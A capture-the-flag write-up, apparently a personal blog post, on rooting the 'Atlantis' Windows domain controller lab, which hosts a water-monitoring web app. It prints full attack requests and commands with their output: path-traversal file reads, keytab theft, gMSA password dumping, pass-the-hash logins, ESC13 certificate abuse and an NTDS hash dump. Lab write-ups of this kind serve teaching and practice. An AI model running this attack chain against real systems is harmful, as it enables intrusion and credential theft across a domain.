↩︎ Back to home

Hacking Club - Atlantis

Atlantis is a Windows machine that hosts TideView, a water treatment monitoring web application. I got foothold by exploiting a Local File Inclusion and downloading a Kerberos’s keytab file with credentials that allowed me to access LDAP and dump Active Directory information. This AD information showed that I had ReadGMSAPassword privileges over another account, this account permission allowed remote code execution. Lateral movement to another account was made using credentials found in clear text. The movement to root was made abusing Active Directory Certificate Services (AD CS).

Enum

Initial Scan

Terminal window
vncsb@haxos$ sudo nmap -sS -p- -T5 172.16.4.135
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-20 21:30 +0000
Nmap scan report for 172.16.4.135
Host is up (0.13s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws

nmap shows open ports that generally represents a Windows host, lets run enum4linux-ng to get more information about this host.

Terminal window
vncsb@haxos$ enum4linux-ng -A 172.16.4.135
ENUM4LINUX - next generation (v1.3.10)
[..snip..]
===========================================================
| Domain Information via SMB session for 172.16.4.135 |
===========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC01
NetBIOS domain name: ATLANTIS
DNS domain: atlantis.hc
FQDN: DC01.atlantis.hc
Derived membership: domain member
Derived domain: ATLANTIS
[..snip..]
===============================================
| OS Information via RPC for 172.16.4.135 |
===============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
[..snip..]

The whole output was omitted due to brevity, the important bits are:

Port 80

I landed on what seems to be a water station monitoring app, running on IIS 10 and PHP 8.3 according to wappalyzer.

On /reports page I can download .csv files, the following request:

GET /export.php?archive=flow-summary-2026-06.csv HTTP/1.1
Host: 172.16.4.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://172.16.4.135/reports.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Will download the flow-summary-2026-06.csv file, with the content:

timestamp,station,flow_m3h,pressure_psi
2026-06-30T00:00Z,PS-01,410.2,58.0
2026-06-30T01:00Z,PS-01,408.7,57.8
2026-06-30T00:00Z,PS-04,501.1,63.5

Path bruteforcing

Using feroxbuster I was able to discover these files and directories:

RCE as gmsa_otbridge$

Testing the archive param of the /export.php path, I noted that it was possible to download local files (LFI) using path traversal, this request:

GET /export.php?archive=..\..\..\..\windows\win.ini HTTP/1.1
Host: 172.16.4.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://172.16.4.135/reports.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Will return the win.ini file:

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/8.3.14
Content-Disposition: attachment; filename="win.ini"
Date: Tue, 20 Oct 2026 23:03:43 GMT
Content-Length: 92
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Now that I could read content of some files, using the [[#Path bruteforcing]] paths as reference, I read the contents of /config.php, this request:

GET /export.php?archive=..\config.php HTTP/1.1
Host: 172.16.4.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://172.16.4.135/reports.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Will return this:

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/8.3.14
Content-Disposition: attachment; filename="config.php"
Date: Tue, 20 Oct 2026 23:11:19 GMT
Content-Length: 513
<?php
// TideView historian gateway — deployment configuration.
// Generated by the OT integration installer (ot-bridge setup). Do not edit by hand.
$CONFIG = [
'site' => 'TideView Historian',
'archive_dir' => 'C:\\inetpub\\tideview\\archives',
'export_max_mb' => 64,
'historian_realm' => 'ATLANTIS.HC',
'historian_spn' => 'HTTP/historian.atlantis.hc',
'historian_keytab' => 'C:\\tideview\\etc\\scada.keytab',
'historian_ccache' => 'C:\\tideview\\run\\tideview.ccache',
];

The contents of config.php contains the path of a keytab file. This file stores the encryption keys of a Kerberos principal, that would be a user or service account, it is possible to use this file to authenticate as the principal.

I downloaded it to my machine:

Terminal window
vncsb@haxos$ curl 'http://atlantis.hc/export.php?archive=..\..\..\..\..\tideview\etc\scada.keytab' > scada.keytab

Then used klist on the scada.keytab file to check the principals it contains.

Terminal window
vncsb@haxos$ klist -k scada.keytab
Keytab name: FILE:scada.keytab
KVNO Principal
---- --------------------------------------------------------------------------
6 HTTP/historian.atlantis.hc@ATLANTIS.HC
6 HTTP/historian.atlantis.hc@ATLANTIS.HC
6 HTTP/historian.atlantis.hc@ATLANTIS.HC
6 HTTP/historian.atlantis.hc@ATLANTIS.HC
6 HTTP/historian.atlantis.hc@ATLANTIS.HC

A Kerberos Principal follows this pattern: <service>/host.domain.com@REALM.COM.

In order to interact with the Kerberos service using the keytab file, I needed to have a krb5.conf config file. I used nxc to generate one automatically.

Terminal window
vncsb@haxos nxc smb atlantis.hc --generate-krb5-file krb5.conf
SMB 172.16.4.135 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:atlantis.hc) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 172.16.4.135 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 172.16.4.135 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = ATLANTIS.HC
[realms]
ATLANTIS.HC = {
kdc = dc01.atlantis.hc
admin_server = dc01.atlantis.hc
default_domain = atlantis.hc
}
[domain_realm]
.atlantis.hc = ATLANTIS.HC
atlantis.hc = ATLANTIS.HC%

Now I had to add atlantis.hc and dc01.atlantis.hc to /etc/hosts pointing to the target machine IP address and export the KRB5_CONFIG environment variable so the tools can read the correct configuration file.

Terminal window
vncsb@haxos$ export KRB5_CONFIG=/tmp/krb5.conf

Used kinit to get a Ticket Granting Ticket (TGT) using the extracted keytab file, thus granting me access on services that the principal is allowed.

Terminal window
vncsb@haxos$ kinit -t /tmp/scada.keytab HTTP/historian.atlantis.hc@ATLANTIS.HC
keytab specified, forcing -k
vncsb@haxos$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: HTTP/historian.atlantis.hc@ATLANTIS.HC
Valid starting Expires Service principal
10/20/2026 23:58:56 10/21/2026 09:58:56 krbtgt/ATLANTIS.HC@ATLANTIS.HC
renew until 10/21/2026 23:58:55

Tried to get a shell using nxc and psexec and it did not work, evil-winrm did not work as well.

Terminal window
vncsb@haxos$ evil-winrm -i dc01.atlantis.hc -r ATLANTIS.HC
Evil-WinRM shell v4.1
Info: Establishing connection to remote endpoint
Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Invalid token was supplied
Unknown code 0
Error: Exiting with code 1

It seemed that, using this SPN, I could only interact with LDAP.

Terminal window
vncsb@haxos$ ldapsearch -Y GSSAPI -H ldap://dc01.atlantis.hc -b "DC=ATLANTIS,DC=HC"
SASL/GSSAPI authentication started
SASL username: HTTP/historian.atlantis.hc@ATLANTIS.HC
SASL SSF: 256
SASL data security layer installed.
# extended LDIF
#
# LDAPv3
# base <DC=ATLANTIS,DC=HC> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
[..snip..]

In this step I got really lost on what to do next, I tried:

Then I used the bloodhound-py collector to gather info about the users and its relationships.

Terminal window
vncsb@haxos$ ./bloodhound.py -c All -d atlantis.hc -k -u 'HTTP/historian.atlantis.hc@ATLANTIS.HC' -no-pass -ns 172.16.6.138
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: atlantis.hc
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.atlantis.hc
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.atlantis.hc
INFO: Found 9 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.atlantis.hc
INFO: Done in 00M 25S

Note: For this command to work I had to pass the -ns option to indicate the nameserver IP address.

Uploading the collected data to bloodhound-ce, I found out that the OT-INTEGRATION group has the ReadGMSAPassword permission over the GMSA_OTBRIDGE$ user, and that the compromised user svc_scada is a member of the OT-INTEGRATION group.

On bloodhound-ce tips on how to abuse the permission says we can use the gMSADumper.py tool, that can be obtained through this repo, to dump the hashes of accounts. More info on Hacker Recipes.

Terminal window
vncsb@haxos$ python3 gMSADumper.py -k -d atlantis.hc -l dc01.atlantis.hc
Users or groups who can read password for gmsa_otbridge$:
> OT-Integration
gmsa_otbridge$:::0334de3c5439ca294cbf16260561f925
gmsa_otbridge$:aes256-cts-hmac-sha1-96:5aaee70cb90b8a3c5a6d45390338ed6ee9e01484047a3c5a8ddb535db00ae646
gmsa_otbridge$:aes128-cts-hmac-sha1-96:b2d599efd10e2b3fe9d1d204ac00239e

Now I just needed to Pass-The-Hash using evil-winrm.

Terminal window
vncsb@haxos$ evil-winrm -i dc01.atlantis.hc -u 'gmsa_otbridge$' -H '0334de3c5439ca294cbf16260561f925'
Evil-WinRM shell v4.1
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\gmsa_otbridge$\Documents> whoami
atlantis\gmsa_otbridge$

And we get a shell!

What held me back for some time on the LDAP step was thinking that the OT-INTEGRATION group and GMSA_OTBRIDGE$ were default Active Directory accounts, so I did not gave them the needed attention at first.

RCE As m.stroud

Looking around in the machine file system, the directory C:\OT-Bridge\ caught my attention. Inside it was a .ps1 (Powershell Script) file with clear text credentials for user m.stroud.

Terminal window
*Evil-WinRM* PS C:\OT-Bridge\bridge> cat "C:/OT-Bridge/bridge/report-sync.ps1"
# report-sync.ps1 - nightly report export (scheduled task, runs as the OT bridge service).
# Authenticates as the OT operator to read the reporting share and stage nightly bundles.
$OperatorUser = 'ATLANTIS\m.stroud'
$OperatorPass = 'Tideworks-OT-Op-2231'
# Invoke-Command -Credential $OperatorUser/$OperatorPass -ScriptBlock { Export-HistorianReports }

I could connect with m.stroud credentials using evil-winrm.

Terminal window
vncsb@haxos$ evil-winrm -i dc01.atlantis.hc -u 'm.stroud' -p 'Tideworks-OT-Op-2231'
Evil-WinRM shell v4.1
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\m.stroud.ATLANTIS\Documents> whoami
atlantis\m.stroud

RCE As Administrator

I needed to look up a hint for this part, I focused too much on local privilege escalation and forgot that this was a domain joined machine, so I glossed over the AD Privesc techniques, that in this case was a Active Directory Certificate Services Privilege Escalation, or more shortly, AD CS Privesc.

Looking back, the main hint that I missed was the existence of a group named OT-CertAdmin, apart from the suggestive name, it also had the permission to execute a DCSync.

To find AD CS vulnerabilities I used certipy with the m.stroud credentials.

Terminal window
vncsb@haxos$ certipy find -vulnerable -u m.stroud -p Tideworks-OT-Op-2231 -dc-host dc01.atlantis.hc -ns 172.16.6.138

certipy identified that the domain was vulnerable to ESC13 abuse:

...snip...
"[!] Vulnerabilities": {
"ESC13": "Template allows client authentication and issuance policy is linked to group 'CN=OT-CertAdmins,OU=OT,DC=atlantis,DC=hc'."
}

Abusing this, on simple terms, will make the compromised account access the environment as a member of the linked group, OT-CertAdmins in this case. This means that the compromised account now inherits all the permissions and privileges configured to the OT-CertAdmins group, allowing me take over the domain via DCSync. More information about the specifics on why and how this works in this blog post by SpecterOps.

To exploit the ESC13 vulnerability, we need to generate a certificate file with the vulnerable template OTDeviceLogon:

Terminal window
vncsb@haxos$ certipy req -u m.stroud -p Tideworks-OT-Op-2231 -dc-ip 172.16.6.138 -target dc01.atlantis.hc -template "OTDeviceLogon" -ca "Tidewater-OT-CA"
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN 'm.stroud@atlantis.hc'
[*] Certificate object SID is 'S-1-5-21-1823032170-230754338-3617348328-1110'
[*] Saving certificate and private key to 'm.stroud.pfx'
File 'm.stroud.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'm.stroud.pfx'

Then get a TGT using the certificate:

Terminal window
vncsb@haxos$ certipy auth -pfx m.stroud.pfx -username m.stroud -dc-ip 172.16.6.138
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'm.stroud@atlantis.hc'
[*] Security Extension SID: 'S-1-5-21-1823032170-230754338-3617348328-1110'
[*] Using principal: 'm.stroud@atlantis.hc'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'm.stroud.ccache'
File 'm.stroud.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'm.stroud.ccache'
[*] Trying to retrieve NT hash for 'm.stroud'
[*] Got hash for 'm.stroud@atlantis.hc': aad3b435b51404eeaad3b435b51404ee:0d926dd1a9350cf2a3f0d0129b0da2f4

It is important to note that this process will not add the m.stroud to the OT-CertAdmins group, instead the user will only be a member of the group if access is made using the certificate. I wanted to check if I could see the group being listed, so I connected with evil-winrm using the generated .ccache file and listed the groups:

Terminal window
vncsb@haxos$ evil-winrm -i dc01.atlantis.hc -r ATLANTIS.HC -K /tmp/m.stroud.ccache
Evil-WinRM shell v4.1
Info: Using ccache Kerberos ticket file: /tmp/m.stroud.ccache
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\m.stroud.ATLANTIS\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
================= =============================================
atlantis\m.stroud S-1-5-21-1823032170-230754338-3617348328-1110
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================= ==================================================
[...snip...]
ATLANTIS\OT-CertAdmins Group S-1-5-21-1823032170-230754338-3617348328-1108 Mandatory group, Enabled by default, Enabled group
[...snip...]

Then used nxc to dump hashes:

Terminal window
❯ export KRB5CCNAME=/tmp/m.stroud.ccache
❯ nxc smb dc01.atlantis.hc -k --use-kcache
SMB dc01.atlantis.hc 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:atlantis.hc) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.atlantis.hc 445 DC01 [+] ATLANTIS.HC\m.stroud from ccache
❯ nxc smb dc01.atlantis.hc -k --use-kcache --ntds
SMB dc01.atlantis.hc 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:atlantis.hc) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.atlantis.hc 445 DC01 [+] ATLANTIS.HC\m.stroud from ccache
SMB dc01.atlantis.hc 445 DC01 [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB dc01.atlantis.hc 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc01.atlantis.hc 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:0696862e0bff9b772cf5f7c58105be45:::
SMB dc01.atlantis.hc 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB dc01.atlantis.hc 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:df817d3b8d8fe29baf00671346e8d56a:::
SMB dc01.atlantis.hc 445 DC01 ATLANTIS.HC\svc_scada:1103:aad3b435b51404eeaad3b435b51404ee:6cab64c308c06d4c04964510ffd9bddc:::
SMB dc01.atlantis.hc 445 DC01 atlantis.hc\j.reyes:1104:aad3b435b51404eeaad3b435b51404ee:ceefd83fb9a333e63c506ddfe9d68f5d:::
SMB dc01.atlantis.hc 445 DC01 atlantis.hc\k.osei:1105:aad3b435b51404eeaad3b435b51404ee:cb139a0328ed25ede20210e943eb20fc:::
SMB dc01.atlantis.hc 445 DC01 atlantis.hc\m.stroud:1110:aad3b435b51404eeaad3b435b51404ee:0d926dd1a9350cf2a3f0d0129b0da2f4:::
SMB dc01.atlantis.hc 445 DC01 DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9c15c8eadc3a514c55d1b380f9d970e4:::
SMB dc01.atlantis.hc 445 DC01 gmsa_otbridge$:1107:aad3b435b51404eeaad3b435b51404ee:0334de3c5439ca294cbf16260561f925:::

And now I could simply use the Administrator hash and Pass-The-Hash using evil-winrm:

Terminal window
❯ evil-winrm -i dc01.atlantis.hc -H '0696862e0bff9b772cf5f7c58105be45' -u Administrator
Evil-WinRM shell v4.1
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
atlantis\administrator
*Evil-WinRM* PS C:\Users\Administrator\Desktop>

Rooted! :]